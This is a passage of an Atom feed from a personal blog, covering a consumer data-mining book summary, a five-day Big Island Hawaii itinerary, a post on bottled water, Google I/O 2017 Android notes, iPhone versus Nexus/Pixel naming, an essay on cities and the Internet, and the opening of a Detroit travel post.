<h3 id="data-mining-consumer-insights">Data Mining (consumer insights)</h3>
<ul>
<li>Before a hurricane, Walmart analyzed data from a past hurricane to conclude that the top-selling item was not flashlights but beer and Strawberry Pop-Tarts.</li>
<li>Credit card purchase monitoring, which is further sold to third parties is the most common way to find customer behaviors. This data is used for further sending targeted emails.</li>
<li>Homeowners spend ~$12, 000 in the first six months of a move and that&rsquo;s why property deeds are a major source of data for the companies.</li>
<li>Loyalty cards while giving a discount to consumers allow the stores to profile the buyer even more closely.</li>
<li>When Mark &amp; Spencer in the UK spotted in the sales data that a lot of Indian dishes and food is being purchased there, they realized that a lot of Indians are coming there to shop. They started both currency exchange and travel right inside the store to make money off of the trend.</li>
<li>Shoppers who go counterclockwise spend twice as much as those who go clockwise. A store decided to put an entry to the right to ensure counterclockwise motions.</li>
<li>Given the amount of information that is being tracked about us, both online and offline, it is safe to say that we are living in a post-private world.</li>
</ul>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/book-summaries" term="book-summaries" label="book-summaries"/></entry><entry><title type="html">Five days in Big Island, Hawaii</title><link href="https://ashishb.net/travel/big-island-hawaii/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/maui-hawaii/?utm_source=atom_feed" rel="related" type="text/html" title="Four days in Maui, Hawaii"/><link href="https://ashishb.net/travel/kauai-hawaii/?utm_source=atom_feed" rel="related" type="text/html" title="Five days in Kauai, Hawaii"/><link href="https://ashishb.net/travel/oahu-hawaii/?utm_source=atom_feed" rel="related" type="text/html" title="Five days in Oahu, Hawaii"/><link href="https://ashishb.net/travel/grand-canyon/?utm_source=atom_feed" rel="related" type="text/html" title="Rim-2-Rimember: Day hiking through Grand Canyon"/><link href="https://ashishb.net/travel/detroit/?utm_source=atom_feed" rel="related" type="text/html" title="Detroit in 2 days"/><id>https://ashishb.net/travel/big-island-hawaii/</id><author><name>Ashish Bhatia</name></author><published>2017-06-11T22:19:46+00:00</published><updated>2017-06-11T22:19:46+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the Big Island with this travel guide! Discover volcanoes, scenic drives, cave spelunking, and captivating cultural sites across Hawaii&rsquo;s stunning landscape.</blockquote><p>The Island of Hawai&rsquo;i, popularly known as the Big Island, is the biggest island in Hawai&rsquo;i.
Unlike 
<a href="/tag/hawaii/">other islands</a>, this one is too big for driving around with mopeds.
The island has two cities at the two corners, Kona and Hilo.
If you are a coffee lover then you would note that Kona indeed is the source of Kona coffee.</p>
<h3 id="day-1">Day 1</h3>
<p>Flew into Kona late night and drove directly to   
    
    
<a href="https://www.volcanohostel.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Holo Holo Inn</a>.
It&rsquo;s a beautiful rustic place to stay next to the Hawai&rsquo;i Volcanoes National Park.
The park had an active volcano till 2013. Now, only the dried magma is left.
The   
    
    
<a href="https://www.tammileetips.com/2016/05/puu-loa-petroglyphs-trail-in-hawaii-volcanoes-national-park/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">petroglyphs</a> are good, but nothing worth spending too much time on.</p>
<figure>
    
    <a href="IMG_0021-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0021-1024x768.jpg"
         alt="A volcanic landscape in Hawaii Volcanoes National Park with an active volcano visible from a distance, surrounded by hardened lava fields and vegetation, offering an opportunity for photography." width="900"/> </a>
</figure>

<p>There is an active volcano outside public reach,
but one can go close enough to get a photo taken there.
One has to wait till the evening for good photos.
In the meanwhile, do drive through the   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g29217-d108928-Reviews-Chain_of_Craters_Road-Island_of_Hawaii_Hawaii.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">chain of craters</a> road.</p>
<figure>
    
    <a href="IMG_0069-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0069-768x1024.jpg"
         alt="A winding road in a volcanic landscape, Chain of Craters Road, with sparse vegetation, rugged terrain, and clear skies. Ideal for scenic drives." width="900"/> </a>
</figure>

<h3 id="day-2">Day 2</h3>
<p>I had an unsuccessful attempt at hiking the   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60583-d3156102-Reviews-Mauna_Kea_Observatory-Hilo_Island_of_Hawaii_Hawaii.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Mauna Kea Observatory</a>,
it was too windy, and everyone else turned back the midway.
It is possible to drive there, but if it&rsquo;s too windy, that&rsquo;s explicitly prohibited, as it was that day.
From there, I headed to   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60583-d1989323-Reviews-Kaumana_Caves_Park-Hilo_Island_of_Hawaii_Hawaii.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Kaumana caves</a>.
This was my first time doing a cave spelunking, so, couldn&rsquo;t go too far, but it is a great experience,
and I would highly recommend that.</p>
<figure>
    
    <a href="IMG_0090-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0090-1024x768.jpg"
         alt="Kaumana caves" width="900"/> </a>
</figure>

<p>  
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60583-d146748-Reviews-Akaka_Falls_State_Park-Hilo_Island_of_Hawaii_Hawaii.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Akaka Falls State Park</a> is nearby and is worth checking out, though you can skip it if you are short on time.</p>
<figure>
    
    <a href="IMG_0095-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0095-768x1024.jpg"
         alt="A repetitive pattern of the letter S in various orientations and closely packed arrangements, creating an abstract wallpaper effect." width="900"/> </a>
</figure>

<h3 id="day-3">Day 3</h3>
<p>I started with   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g29217-d107596-Reviews-Waipi_o_Valley-Island_of_Hawaii_Hawaii.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Waipi&rsquo;o Valley</a>.
The distance is too far to walk down, and too steep to drive back with a 2WD.
But Hawaiians are friendly, ask for a lift, and you will get to hitchhike.
Do carry swimsuit down there, since it is beautiful to swim there.
From there, I headed to the   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60605-d284708-Reviews-Hawaii_Tropical_Botanical_Garden-Papaikou_Island_of_Hawaii_Hawaii.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Botanical Garden</a>, beautiful &amp; mesmerizing but not very different from other botanical gardens.
So, do it if you have not done any before.   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60593-d2217157-Reviews-Kilauea_Caverns_of_Fire-Kurtistown_Island_of_Hawaii_Hawaii.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Kilauea Caverns of Fire</a> is another cave worth checking out.</p>
<figure>
    
    <a href="IMG_0112-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0112-768x1024.jpg"
         alt="Honaunau Bay with clear blue water surrounded by rocky shoreline" width="900"/> </a>
</figure>

<h3 id="day-4">Day 4</h3>
<p>I started the day with   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60941-d1142320-Reviews-Honaunau_Bay-Honaunau_Island_of_Hawaii_Hawaii.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Honaunau bay</a>;
this has a historic park with some artifacts and an excellent spot for snorkeling.
  
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60584-d1195478-Reviews-Mauka_Meadows-Holualoa_Island_of_Hawaii_Hawaii.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Mauka meadows</a> have a beautiful infinite-ish swimming pool where one is not allowed to swim but still great views of Kona.
Highly recommended for its scenic beauty.
Followed this with   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60580-d109549-Reviews-Kealakekua_Bay-Captain_Cook_Island_of_Hawaii_Hawaii.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Kealakekua Bay</a>, which has a mildly strenuous hike to   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60580-d3519179-Reviews-The_Captain_Cook_Monument-Captain_Cook_Island_of_Hawaii_Hawaii.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Captain Cook monument</a>.
Then I stopped by   
    
    
<a href="https://www.ohcf.us/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Original Hawaii Chocolate Factory</a> to see chocolate making, do make an advanced reservation for it.
And a free bee tour at   
    
    
<a href="https://bigislandbees.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Big Island Bees</a> was the highlight of the day.</p>
<h3 id="day-5">Day 5</h3>
<p>I started the day with   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60583-d131328-Reviews-Coconut_Island-Hilo_Island_of_Hawaii_Hawaii.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Coconut Island</a> &amp;   
    
    
<a href="https://www.gohawaii.com/big-island/regions-neighborhoods/hilo/liliuokalani-gardens/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Liliuokalani Gardens</a>.
Next, I went to   
    
    
<a href="https://www.papahanaumokuakea.gov/education/center.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Hawaii maritime museum</a>, which I would highly recommend if you are a geography lover.
From there, driving along the south to reach   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60596-d146751-Reviews-South_Point_Ka_Lae_and_Green_Sand_Beach-Naalehu_Island_of_Hawaii_Hawaii.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">South Point</a>, which is the southernmost point of any US state.</p>
<figure>
    
    <a href="IMG_0150-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0150-768x1024.jpg"
         alt="Sand Beach in Naalehu, Hawaii, the southernmost point of any US state" width="900"/> </a>
</figure>

]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/hawaii" term="hawaii" label="hawaii"/><category scheme="https://ashishb.net/tag/usa" term="usa" label="usa"/></entry><entry><title type="html">Bottled water at Tourist places</title><link href="https://ashishb.net/travel/bottled-water-at-tourist-places/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/overnight-bus-journeys/?utm_source=atom_feed" rel="related" type="text/html" title="Overnight bus journeys"/><link href="https://ashishb.net/travel/carrying-water-during-urban-travel/?utm_source=atom_feed" rel="related" type="text/html" title="Carrying water during urban travel"/><link href="https://ashishb.net/travel/choosing-a-travel-backpack/?utm_source=atom_feed" rel="related" type="text/html" title="Choosing a Travel Backpack"/><link href="https://ashishb.net/programming/diagnosing-mac-apps-which-wont-open-error-10810/?utm_source=atom_feed" rel="related" type="text/html" title="Diagnosing Mac apps which won't open (error -10810)"/><link href="https://ashishb.net/travel/grand-canyon/?utm_source=atom_feed" rel="related" type="text/html" title="Rim-2-Rimember: Day hiking through Grand Canyon"/><id>https://ashishb.net/travel/bottled-water-at-tourist-places/</id><author><name>Ashish Bhatia</name></author><published>2017-06-02T05:12:06+00:00</published><updated>2017-06-02T05:12:06+00:00</updated><content type="html"><![CDATA[<blockquote>Explore alternatives to bottled water. With 50 billion bottles used yearly, it&rsquo;s time to protect the planet with sustainable options like hydration packs.</blockquote><p>Shops love selling them since the margins are great, the local government loves them since it brings in additional tax revenue, and the tourists love them since they don&rsquo;t want local bacteria to interfere with their enjoyment of authentic experiences. Mother nature pays the price. It&rsquo;s a classic example of   
    
    
<a href="https://en.wikipedia.org/wiki/Externality#Negative?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">negative externality</a> where the local businesses, the local government, and the tourists get a perceived benefit at the expense of the environment.</p>
<p>About   
    
    
<a href="https://www.huffingtonpost.com/norm-schriever/post_5218_b_3613577.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">50 Billion water</a> bottles are consumed every year. 80% end up in the form of landfills. 67 million barrels of oil is used every year to produce and transport them enough to fuel four million cars for the whole year. Next time you are planning to buy one, it might be worth considering alternatives.   
    
    
<a href="https://amzn.to/3QVYcrK?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Hydration packs</a> or collapsible bottles are an investment worth making upfront. While traveling, I usually fill them before leaving a safe place, for example, a hotel, hostel, or a restaurant, so that, I am not taking the risk of consuming unfiltered water or ending up on a remote island where there is no water fountain.</p>
]]></content><category scheme="https://ashishb.net/category/travel-gear" term="travel-gear" label="travel-gear"/><category scheme="https://ashishb.net/tag/environment" term="environment" label="environment"/></entry><entry><title type="html">Google I/O 2017: Android Notes</title><link href="https://ashishb.net/tech/google-io-2017-android-notes/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/google-i-o-2018-android-notes/?utm_source=atom_feed" rel="related" type="text/html" title="Google I/O 2018: Android Notes"/><link href="https://ashishb.net/tech/musicsync-audio-player/?utm_source=atom_feed" rel="related" type="text/html" title="MusicSync: best alternative to Google Play Music and Google Podcasts"/><link href="https://ashishb.net/tech/dealing-with-phone-numbers-in-contact-book/?utm_source=atom_feed" rel="related" type="text/html" title="Dealing with phone numbers in contact book"/><link href="https://ashishb.net/tech/google-io-2016-android-notes/?utm_source=atom_feed" rel="related" type="text/html" title="Google I/O 2016: Android notes"/><link href="https://ashishb.net/tech/thoughts-on-tizen/?utm_source=atom_feed" rel="related" type="text/html" title="Thoughts on Tizen"/><id>https://ashishb.net/tech/google-io-2017-android-notes/</id><author><name>Ashish Bhatia</name></author><published>2017-05-22T09:44:50+00:00</published><updated>2017-05-22T09:44:50+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the latest in Android architecture and performance, including Android Vitals, emerging markets strategies, and slimming app sizes</blockquote><h3 id="infrastructure---architecture--performance">Infrastructure - Architecture &amp; Performance</h3>
<ol>
<li>  
    
    
<a href="https://developer.android.com/topic/performance/vitals/index.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Android Vitals</a> - More visibility in Google Play dev console on battery drain, wakelocks being held for too long, ANRs, crashes, dropped frames, and frozen frames.</li>
<li>  
    
    
<a href="https://developer.android.com/topic/libraries/architecture/index.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Architecture components</a> - better handling of the lifecycle, Room (ORM for Sqlite), live data observers. The API looks clunky though.</li>
</ol>
<h4 id="performance">Performance</h4>
<ol>
<li>50% 1-star reviews mention stability &amp; bugs.</li>
<li>60% 5-star reviews mention speed, design, or reliability.</li>
<li>Apps with &gt; 5% crash rate have 30% higher uninstall rate.</li>
</ol>
<h3 id="emerging-markets">Emerging Markets</h3>
<ol>
<li>&gt; 100M users came online in 2016.</li>
<li>1B 2G devices expected in 2020.</li>
<li>50% of India is on 2G</li>
<li>33% users run out of storage in India every day.</li>
<li>Data is expensive - it costs ~$2 to download a 40MB free app in India</li>
<li>53% users abandon websites if it takes more than 3 seconds to load</li>
</ol>
<p>Action items</p>
<ol>
<li>Remove barriers - app size, always online requirement</li>
<li>Optimize for 2G speeds</li>
<li>Build for intermittent connectivity - offline is not a bug, its a state for the users</li>
<li>Provide better multilingual support</li>
<li>Guide new users - Case study: minimalistic empty chrome screen is unwelcoming in India. Adding links to recent websites and news articles made it more welcoming.</li>
</ol>
<h4 id="android-go">Android Go</h4>
<p>Rechristened versions of Android One, to be installed on all devices with less than 1GB RAM going forward. Consists of Lite apps. More visibility into data usage, and easy mobile top-ups.</p>
<ol>
<li>Youtube Go, and Play Go will support P2P video &amp; file sharing.</li>
<li>Chrome Data saver on by default. Related:   
    
    
<a href="https://developers.google.com/web/updates/2016/02/save-data?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">&ldquo;Save-Data&rdquo; header</a></li>
<li>10MB per app download size goal</li>
<li>Multi-lingual GBoard</li>
<li>More severe limits on background</li>
<li>DEX reordering to increase disk locality of the content</li>
</ol>
<h4 id="slimming-down-app-size">Slimming down app size</h4>
<p>Installed size consists of download size, followed by unpacking, compilation &amp; optimization phase.
20% downloads are canceled or fail if app size &gt;= 100MB</p>
<p>Action items</p>
<ol>
<li>  
    
    
<a href="https://developer.android.com/studio/build/shrink-code.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">minification</a> via proguard</li>
<li>  
    
    
<a href="https://developer.android.com/studio/build/configure-apk-splits.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">split-density apk</a>, can be automated by Google Play if you are willing to hand them   
    
    
<a href="https://developer.android.com/studio/publish/app-signing.html#google-play-app-signing?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">your key</a></li>
<li>vector drawable (API 14+), this might increase CPU &amp; RAM usage for complex drawable though</li>
<li>  
    
    
<a href="https://developer.android.com/studio/build/shrink-code.html#unused-alt-resources?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Exclude sparse translations</a></li>
<li>Downloadable fonts</li>
<li>  
    
    
<a href="https://developer.android.com/studio/preview/features/new-android-plugin.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">AAPT2</a> - dead version elimination, resource de-duplication, and smarter image cruncher</li>
</ol>
<h3 id="misc">Misc</h3>
<ol>
<li>Kotlin officially supported in Android. Recommended talk:   
    
    
<a href="https://www.youtube.com/watch?v=X1RVYt2QKQE&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Introduction to Kotlin</a></li>
<li>App overlay not allowed on the system UI anymore</li>
<li>Android Studio Apk Analyzer is proguard-aware</li>
<li>  
    
    
<a href="https://github.com/google/brotli?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Brotli</a> compression for Google Play app updates</li>
<li>  
    
    
<a href="https://developer.android.com/topic/instant-apps/prepare.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Instant apps</a></li>
</ol>
<h3 id="new-features-only-in-android-o">New Features (only in Android O)</h3>
<ol>
<li>WebView improvements - safe browsing support, multi-process, crashes + low-mem handling</li>
<li>  
    
    
<a href="https://developer.android.com/preview/features/autofill.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Auto-fill</a></li>
<li>Fonts as   
    
    
<a href="https://developer.android.com/preview/features/working-with-fonts.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">first class resources</a></li>
<li>Improved   
    
    
<a href="https://developer.android.com/preview/api-overview.html#imfa?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Media file access</a> - ability to share big files like videos from one app to another without fully downloading them first.</li>
<li>New Skia Renderer to cut down jank.</li>
<li>Color management for different color spaces. Support for wide color Gamut. I would highly recommend watching   
    
    
<a href="https://www.youtube.com/watch?v=r8NeG0wmFXM&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Understanding Color</a> talk.</li>
<li>Even more rigorous clamp down on background processes &amp; wake locks usage to save battery</li>
<li>ART - use JIT profiling to relayout dex file reduces RAM &amp; I/O, new concurrent Garbage Collector (using read barrier) to remove GC pauses,  more code inlining, code relocation, class hierarchy analysis to optimistically decide when classes &amp; methods can be assumed final, automated SIMD instruction generation.</li>
<li>App icons - background &amp; foreground layers from the app (with mask from the system)</li>
<li>Notifications  - Separated into 4 chunks - ongoing, people-to-people, general, and BTW. Notifications won&rsquo;t reorder while you are looking at them.   
    
    
<a href="https://developer.android.com/preview/features/notification-channels.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Notification Channels</a> (notification categories which users can block/mute), mandatory for targeting API 26. App icon badging (&ldquo;dot&rdquo; in Google&rsquo; parlance).</li>
</ol>
<h3 id="new-features-backported-via-support-library-v26">New Features (backported via support library v26)</h3>
<ol>
<li>Support library going API 14+ only.   
    
    
<a href="https://developer.android.com/about/dashboards/index.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">1% users</a> (~20M by Google&rsquo;s count) are still on API 10.</li>
<li>  
    
    
<a href="https://developer.android.com/preview/features/downloadable-fonts.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Downloadable fonts</a></li>
<li>  
    
    
<a href="https://developer.android.com/reference/android/support/text/emoji/EmojiCompat.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">EmojiCompat</a> for backward emoji support</li>
<li>Better use of   
    
    
<a href="https://medium.com/@workingkills/understanding-the-renderthread-4dc17bcaf979?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">RenderThread</a> to cut down on jank (frame drops)</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/><category scheme="https://ashishb.net/tag/android" term="android" label="android"/><category scheme="https://ashishb.net/tag/google-io" term="google-io" label="google-io"/></entry><entry><title type="html">Apple vs Google: Naming of flagship Android vs iPhone</title><link href="https://ashishb.net/tech/apple-vs-google-naming-of-flagship-android-vs-iphone/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/google-io-2017-android-notes/?utm_source=atom_feed" rel="related" type="text/html" title="Google I/O 2017: Android Notes"/><link href="https://ashishb.net/tech/consumer-internet-why-audio-cant-be-as-big-as-text-photos-and-videos/?utm_source=atom_feed" rel="related" type="text/html" title="Consumer Internet: why audio can't be as big as photos or videos"/><link href="https://ashishb.net/tech/90-vs-99/?utm_source=atom_feed" rel="related" type="text/html" title="90% vs 99%"/><link href="https://ashishb.net/tech/outsourcing/?utm_source=atom_feed" rel="related" type="text/html" title="Why software outsourcing gets a bad reputation?"/><link href="https://ashishb.net/tech/journey-of-online-influencers/?utm_source=atom_feed" rel="related" type="text/html" title="Journey of online influencers"/><id>https://ashishb.net/tech/apple-vs-google-naming-of-flagship-android-vs-iphone/</id><author><name>Ashish Bhatia</name></author><published>2017-05-21T08:38:00+00:00</published><updated>2017-05-21T08:38:00+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the evolution of iPhone vs. Android&rsquo;s Nexus and Pixel brands. From iconic launches to naming snafus, discover how these tech giants compete!</blockquote><h3 id="iphone">iPhone</h3>
<ol>
<li>iPhone</li>
<li>iPhone 3G -&gt; iPhone 3GS</li>
<li>iPhone 4 -&gt; iPhone 4S</li>
<li>iPhone 5 -&gt; iPhone 5S</li>
<li>iPhone 6 -&gt; iPhone 6S (and plus sizes)</li>
<li>iPhone 7 (and plus sizes)</li>
</ol>
<h3 id="android">Android</h3>
<ol>
<li>Nexus One</li>
<li>Nexus S</li>
<li>Galaxy Nexus</li>
<li>Nexus 4</li>
<li>Nexus 5</li>
<li>Nexus 6</li>
<li>Nexus 5X &amp; Nexus 6P</li>
<li>Pixel &amp; Pixel XL</li>
</ol>
<p>While iPhone is recognized as a global name while erstwhile Nexus and now, Pixel has almost no branding outside of the Android fanboys.</p>
<p>Further on Google&rsquo;s naming snafu:</p>
<ol>
<li>Nexus 7, Nexus 10, and Nexus 9 are tablets. 7 &amp; 10 were launched with 4 and 9 was launched later.</li>
<li>Pixel brand was originally used for Chromebook Pixel.</li>
<li>Nexus 5X and Nexus 6P were new versions of Nexus 5 and Nexus 6, respectively. It seems like the two teams couldn&rsquo;t agree on a single suffix letter.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/></entry><entry><title type="html">The Internet and the City Advantage</title><link href="https://ashishb.net/misc/internet-and-the-city-advantage/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/misc/learning-vs-remembering/?utm_source=atom_feed" rel="related" type="text/html" title="Learning vs remembering"/><link href="https://ashishb.net/misc/capitalism-achilles-heel/?utm_source=atom_feed" rel="related" type="text/html" title="The Achilles heel of American capitalism"/><link href="https://ashishb.net/misc/punjabi-singers/?utm_source=atom_feed" rel="related" type="text/html" title="The science behind Punjabi singers"/><link href="https://ashishb.net/misc/statistical-outcomes-require-statistical-games/?utm_source=atom_feed" rel="related" type="text/html" title="Statistical outcomes require statistical games"/><link href="https://ashishb.net/misc/status-symbol/?utm_source=atom_feed" rel="related" type="text/html" title="Status Symbol"/><id>https://ashishb.net/misc/internet-and-the-city-advantage/</id><author><name>Ashish Bhatia</name></author><published>2017-05-06T06:37:35+00:00</published><updated>2017-05-06T06:37:35+00:00</updated><content type="html"><![CDATA[<blockquote>Cities thrive on innovation, enriched by the Internet&rsquo;s rise, continuing to grow despite global digital connectivity, offering platforms for creativity and profit.</blockquote><p>Cities have been central to the human civilization.
Their dense population provides a platform for the serendipitous interactions and cross-pollination of
ideas from different domains, their abandoned portions provide cost-effective real estate to struggling
artists and entrepreneurs, their riches provides jobs, sometimes, side-jobs for the innovators to experiment.
No wonder 
<a href="/book-summary/book-summary-where-good-ideas-come-from-by-steven-johnson/">innovation</a> in a city grows super-linearly (~(size)4/3) with its size.</p>
<p>But the Internet was supposed to destroy all advantages a city has over the rural areas.
The Internet was supposed to convert all of us into a global community. It did.
But the cities have   
    
    
<a href="https://www.theatlantic.com/business/archive/2015/03/the-feedback-loop-that-will-make-americas-richest-cities-even-richer/388712/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">emerged</a> even stronger,   
    
    
<a href="https://www.citylab.com/housing/2015/12/london-city-suburb-wealthy-poor-centre-report/420504/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">everywhere</a>.
One way to rationalize this is to realize that the Internet provided a platform to the cities a rent seeking ability
which was extremely limited in the pre-Internet era.
When a family in Kansas books an Airbnb in Thailand using Mastercard credit card,
books the flight with Expedia, and uses an Uber in Thailand then these intermediaries take a cut.
Similarly, when a person in Nebraska buys West Texas Intermediate from New York stock exchange,
then New York stock exchange takes a cut. Now, what happens when these companies take these cuts?
A big chunk of that is used for salaries, expenses,  or charity donations which are usually highly
localized activities and benefit the cities where these companies are headquartered.
Most of these rent-seeking activities were either non-existent or of limited leverage in the pre-Internet era.</p>
<p>Note:</p>
<ol>
<li>The first paragraph of this blog post is heavily inspired by 
<a href="/book-summary/book-summary-where-good-ideas-come-from-by-steven-johnson/">Where good ideas come from</a> book.</li>
<li>The city term I am using is akin to an urban area. In the US, a suburb is seen as a separate entity, which I am treating as a city in this parlance.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/misc" term="misc" label="misc"/><category scheme="https://ashishb.net/tag/rent-seeking" term="rent-seeking" label="rent-seeking"/><category scheme="https://ashishb.net/tag/urban" term="urban" label="urban"/></entry><entry><title type="html">Detroit in 2 days</title><link href="https://ashishb.net/travel/detroit/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/grand-canyon/?utm_source=atom_feed" rel="related" type="text/html" title="Rim-2-Rimember: Day hiking through Grand Canyon"/><link href="https://ashishb.net/travel/big-island-hawaii/?utm_source=atom_feed" rel="related" type="text/html" title="Five days in Big Island, Hawaii"/><link href="https://ashishb.net/travel/death-valley/?utm_source=atom_feed" rel="related" type="text/html" title="Death Valley in 3 days"/><link href="https://ashishb.net/travel/miami/?utm_source=atom_feed" rel="related" type="text/html" title="Things to do in Miami Florida"/><link href="https://ashishb.net/travel/louisville-kentucky/?utm_source=atom_feed" rel="related" type="text/html" title="A day in Louisville, Kentucky"/><id>https://ashishb.net/travel/detroit/</id><author><name>Ashish Bhatia</name></author><published>2017-04-02T05:24:47+00:00</published><updated>2017-04-02T05:24:47+00:00</updated><content type="html"><![CDATA[<blockquote>Explore Detroit&rsquo;s rich history and vibrant culture, from iconic car museums to artistic neighborhoods. Discover key sites and uncover stories of a city reborn.</blockquote><p>Detroit used to symbolize the prowess of American manufacturing. Foreign delegates would drive or fly to Detroit to see this iconic city. San Francisco Bay Area (Silicon Valley) was once called the Detroit of the west, and at that time, it meant admiration. The city has a tumultuous racial history. It&rsquo;s the only city in the US to be taken over by the Federal army thrice to control riots. Before my visit, I had read the book &quot;   
    
    
<a href="https://amzn.to/2ovU4QM?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Detroit: An American Autopsy</a>&quot;, it&rsquo;s a bit long but gives a thorough understanding of this once iconic city.</p>
